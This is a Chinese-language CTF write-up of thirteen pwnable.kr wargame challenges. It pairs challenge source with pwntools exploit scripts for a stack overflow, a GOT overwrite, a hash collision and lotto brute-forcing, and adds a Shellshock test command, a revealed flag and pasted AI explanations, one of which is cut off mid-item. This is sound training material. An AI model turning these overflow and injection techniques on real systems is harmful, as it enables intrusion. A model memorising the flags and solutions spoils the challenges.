pwnable.kr做题笔记(一)
目录
[ 第十三题-lotto](# 第十三题-lotto)
第一题-fd
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
很简单的题目,根据源码可以知道fd=0,就可以输入buf的值。然后再输入LETMEWIN\n便可以getflag。
后面加的4660也就是0x1234。直接传入参数就完事了。
第二题-col
查看源码
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
可以看到关键就在于
简单分析一下check_password函数就可以知道,其实就是那五个数想加等于0x21DD09EC。
但需要考虑,值不能超过20个字符啥的。也很简单,给他除以5除不尽。剩下的分一下就行。
def exp():
pl = p32(0x6c5cec8) * 4 + p32(0x6c5cecc)
p = io.process(executable='./col', argv=['col',pl])
flag = p.recv()
log.info(f"FLag={flag}")
p.close()
io.close()
exp()
io.interactive()
第三题-bof
这题才算(个人认为)pwn题吧。
下载附件,查看很简单。一看就是栈溢出。
动态调试一下,offset是多少吧。
可以看到第一个参数的位置是在这里的,0xffffcfc0
可以看到overflowme是从0xffffcf8c开始的。所以可以得到offset=0x34
def exp():
pl = cyclic(0x34) + p32(0xcafebabe)
sl(pl)
exp()
io.interactive()
getshell
第四题-flag
他自己都说是逆向题。
直接查壳,发现是upx。直接脱壳
再放进ida里面查看字符表,直接找到flag
第五题-passcode
直接放进ida里面,发现漏洞。这个两个应该使用的是地址而不是变量,类似于fmt。所以想着覆盖吧。前面输入了一次name,可以溢出
通过动态调试可以看到
发现name和v1的offset=0x60。检查保护,可以改got表
接下来就是正常的直接把printfgot表改掉就行了。
def exp():
pl = b'a'*96+ p32(0x804A000)
sl(pl)
hack = str(0x80485e3)
sl(hack)
flag = io.recvall()
log.info(f"flag={flag}")
io.close()
s.close()
# io.close()
exp()
io.interactive()
第六题-random
随机数,这个没给种子,但默认是0或者1,直接gdb调试看看第一次值是多少就好啦
def exp():
v5 = 0x6b8b4567
v4 = v5^(0xDEADBEEF)
sl(str(v4).encode())
flag = io.recvall()
log.info(f"flag+{flag}")
io.close()
s.close()
# io.close()
exp()
io.interactive()
第七题-input2
这题感觉就是过滤+网络编程,只能说有点难度,网上很多解释我这里不多说
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
就一步步慢慢过就行,但是我当时遇到个问题,就是他本地不可以创建文件,就很烦。然后看了看网上的文章说可以上传到/tmp目录,但是呢!!!没找到人怎么上传,所以我在这里声明一下,省去读者查找,前面是本地需要上传的文件,后面是上传到服务器的路径。(shell我自己创建的目录)
最后gcc编译一下,再软链接一下就好了。打过pwn.college的人应该知道。
ln -s /home/input2/flag flag
最后得到flag!
第八题-leg
这题是个异架构汇编题,但考的很简单
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
从源码中可以看出来就是算出来那三个key就完事了。
有一个leg.asm文件,这里直接放到文本编辑器打开就可以了。寄存器都是r开头多,就是arm架构下的
(gdb) disass main
Dump of assembler code for function main:
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c <printf>
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4 <key1>
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0 <key2>
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c <puts>
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c <system>
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c <puts>
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0
0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)
对照哪个源码分析。
直接让gpt分析什么意思吧,本人是个菜鸡所以汇编不太熟
当然,以下是对每个函数的详细分析,包括每一条汇编指令的作用。
### 函数
main
```assembly
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ;instruction: 0x0006a4b0
0x00008dcc <+144>: ;instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
```\1.
push {r4, r11, lr}
- 将r4
,r11
, 和lr
寄存器的值压入栈中,用于保存函数调用前的状态。\2.
add r11, sp, #8
- 设置r11
为当前栈指针加上 8。这通常是为了创建一个新的帧指针(frame pointer)。\3.
sub sp, sp, #12
- 为局部变量分配空间,栈指针sp
向下移动 12 字节。\4.
mov r3, #0
- 将 0 赋值给寄存器r3
。\5.
str r3, [r11, #-16]
- 将r3
的值(0)存储到r11
指向的位置的偏移量 -16 处。\6.
ldr r0, [pc, #104]
- 从程序计数器pc
加 104 字节的地址处加载值到r0
。这通常是用于访问代码中的常量或数据。\7.
bl 0xfb6c <printf>
- 调用printf
函数,bl
指令用于分支并链接,保存返回地址到链接寄存器lr
。\8.
sub r3, r11, #16
- 计算r11
减去 16,结果存入r3
。\9.
ldr r0, [pc, #96]
- 从程序计数器pc
加 96 字节的地址处加载值到r0
。\10.
mov r1, r3
- 将r3
的值复制到r1
。\11.
bl 0xfbd8 <__isoc99_scanf>
- 调用scanf
函数,r0
和r1
作为参数传递。\12.
bl 0x8cd4 <key1>
- 调用key1
函数。\13.
mov r4, r0
- 将key1
函数返回值存储到r4
。\14.
bl 0x8cf0 <key2>
- 调用key2
函数。\15.
mov r3, r0
- 将key2
函数返回值存储到r3
。\16.
add r4, r4, r3
- 将r4
和r3
的值相加,结果存回r4
。\17.
bl 0x8d20 <key3>
- 调用key3
函数。\18.
mov r3, r0
- 将key3
函数返回值存储到r3
。\19.
add r2, r4, r3
- 将r4
和r3
的值相加,结果存回r2
。\20.
ldr r3, [r11, #-16]
- 从r11
指向的位置的偏移量 -16 处加载值到r3
。\21.
cmp r2, r3
- 比较r2
和r3
的值。\22.
bne 0x8da8 <main+108>
- 如果r2
和r3
不相等,跳转到0x8da8
地址处。\23.
ldr r0, [pc, #44]
- 从程序计数器pc
加 44 字节的地址处加载值到r0
。\24.
bl 0x1050c <puts>
- 调用puts
函数。\25.
ldr r0, [pc, #40]
- 从程序计数器pc
加 40 字节的地址处加载值到r0
。\26.
bl 0xf89c <system>
- 调用system
函数。\27.
b 0x8db0 <main+116>
- 无条件跳转到0x8db0
地址处。\28.
ldr r0, [pc, #32]
- 从程序计数器pc
加 32 字节的地址处加载值到r0
。\29.
bl 0x1050c <puts>
- 再次调用puts
函数。\30.
mov r3, #0
- 将 0 赋值给r3
。\31.
mov r0, r3
- 将r3
的值复制到r0
。\32. **`sub sp, r11
但其实看不看得懂都不影响做题,只要知道那种函数再arm下返回值都是r0寄存器存储的,
key1,0x8cdc+8=0x8CE4
key2,0x00008d04 + 8 + 4 = 0x00008d0c
key3,其中lr是返回地址,所以就是0x8d80
最后将他们三个数相加得到key=108400
第九题-mistake
有后门,直接看xor函数吧。
就是与1异或,直接输入十个1然后异或结果就是十个0。
getshell
第十题-shellshock
看一下源码就知道该怎么写了,其实。可以看到直接调用bash了。
直接使用
env x='() { :;}; echo TEST' ./bash -c :
证明它存在。
第十一题-coin1
这题,全英文用gpt帮我理解一下
要解决这个问题,你需要在有限的称量次数内找到那枚伪造的硬币。这个问题考验的是你的逻辑推理能力和优化称量策略的能力。通常情况下,使用**二分法**(或分组策略)是解决这种称量问题的最佳方法之一。
### 解决步骤:
1. **初始条件**:你有 `N` 枚硬币,并且有 `C` 次称量机会。
2. **分组称量**:
- 每次称量时,你将硬币分成两组来称量(或者更多组,如果 N 很大)。
- 通过比较每组的总重量,你可以确定哪一组可能包含假币。
3. **减少搜索范围**:
- 每次称量后,你可以缩小可能包含假币的硬币数量。
- 继续将包含假币的那一组再分组称量,直到找出假币。
### 例子演示:
假设有 `8` 枚硬币,且你有 `3` 次称量机会 (`N=8, C=3`)。
**第一次称量**:
- 把硬币分成两组,分别是 `0-3` 和 `4-7`。
- 选择 `0, 1, 2, 3` 四枚硬币称量,记下它们的总重量。
- 如果总重量为 `40`(每枚硬币都是真币),那么假币在 `4-7` 中。
- 如果总重量为 `39`,那么假币在 `0-3` 中。
**第二次称量**:
- 假设第一轮后怀疑假币在 `4-7` 中,再将 `4-7` 分成两组,`4, 5` 和 `6, 7`。
- 选择 `4, 5` 称量。
- 如果总重量为 `20`,那么假币在 `6, 7` 中。
- 如果总重量为 `19`,那么假币在 `4, 5` 中。
**第三次称量**:
- 选择最后一组中的单个硬币进行称量即可确认假币是哪一个。
### 通用策略:
- 每次称量后都将剩下的硬币数量减半,以最大化信息获取。
- 这个过程会随着硬币数量的减少而逐步缩小搜索范围,直到找到伪造的硬币。
### 数学分析:
在最坏情况下,解决该问题所需的最大称量次数 `C` 满足以下条件:
\[
2^C \geq N
\]
这意味着 `C` 次称量可以处理最多 `2^C` 枚硬币。
### 总结:
通过将硬币分组称量,你可以在有限的称量次数内逐步缩小假币所在的范围,最终确定那枚伪造的硬币。这是一种典型的分而治之的策略。
直接随便开一个机子,然后在/tmp里面创建一个py脚本打本地就行。
# python(2) solve.py
from pwn import *
import re
p = remote('localhost', 9007)
print(p.recv())
for i in range(100):
N, C = re.findall("N=(\d+) C=(\d+)", p.recv())[0]
N = int(N)
C = int(C)
print(N, C)
start, end = 0, N-1
while start <= end and C > 0:
mid = (start + end) // 2
x = " ".join([str(j) for j in range(start, mid+1)]) # build range list
p.sendline(x)
res = int(p.recvline()[:-1])
if res % 10 == 0:
start = mid+1 # through first half
else:
end = mid-1 # through second half
C -= 1
while C > 0: # use all the tries
p.sendline("0")
p.recv(1024)
C -= 1
p.sendline(str(start)) # final answer
print(p.recv())
print(p.recv())
第十二题-blackjack
这题好像是让我赚钱,没看懂随便写点数,就给他打通了。
$ nc pwnable.kr 9009
222 111 222 222 11111 222 222 11 111 222 111 222 111
CCCCC SS DD HHHHH C C
C C SS D D H H C C
C C SS D D H C C
CCCCC SS D DD D H C C
C C SS D DDDD D H CC C
C C SS D D H C C
C C SS D D H H C C
CCCCCC SSSSSSS D D HHHHH C C 21
DDDDDDDD HH CCCCC S S
DD H H C C S S
DD H H C S S
DD H HH H C S S
DD H HHHH H C SS S
DD H H C S S
D DD H H C S S C
DDD H H CCCCC S S 222 111
222 111
222 111
222222222222222 111111111111111
2222222222222222 11111111111111111Are You Ready? \---------------- (Y/N) y
Enter 1 to Begin the Greatest Game Ever Played.
Enter 2 to See a Complete Listing of Rules.
Enter 3 to Exit Game. (Not Recommended)
Choice: 1Cash: $500
-——
|S |
| 6 |
| S|
-——Your Total is 6
The Dealer Has a Total of 8
Enter Bet: $111111111111
Would You Like to Hit or Stay?
Please Enter H to Hit or S to Stay.
sYou Have Chosen to Stay at 6. Wise Decision!
The Dealer Has a Total of 11
The Dealer Has a Total of 14
The Dealer Has a Total of 17
Dealer Has the Better Hand. You Lose.You have 0 Wins and 1 Losses. Awesome!
Would You Like To Play Again?
Please Enter Y for Yes or N for No
y
YaY_I_AM_A_MILLIONARE_LOLCash: $558039085
-——
|H |
| K |
| H|
-——Your Total is 10
The Dealer Has a Total of 5
Enter Bet: $
应该是有溢出点,然后估计就是机组的知识了。
第十三题-lotto
可以看到外层只要一次被命中,里层就执行6次正好满足条件了。他输的ascii要是1-45.
随便找一个吧
exp,如果本地打的很慢,可以上传到服务器上打。
from pwn import *
context.log_level = "debug"
sh = ssh('lotto', 'pwnable.kr', password='guest', port=2222)
io = sh.process(executable='./lotto')
for i in range(10000):
io.recv()
io.sendline('1'.encode())
io.recv()
io.sendline('!!!!!!'.encode())
_ , ans = io.recvlines(2)
if "bad" not in ans.decode():
log.success(ans.decode())
break
最后得到flag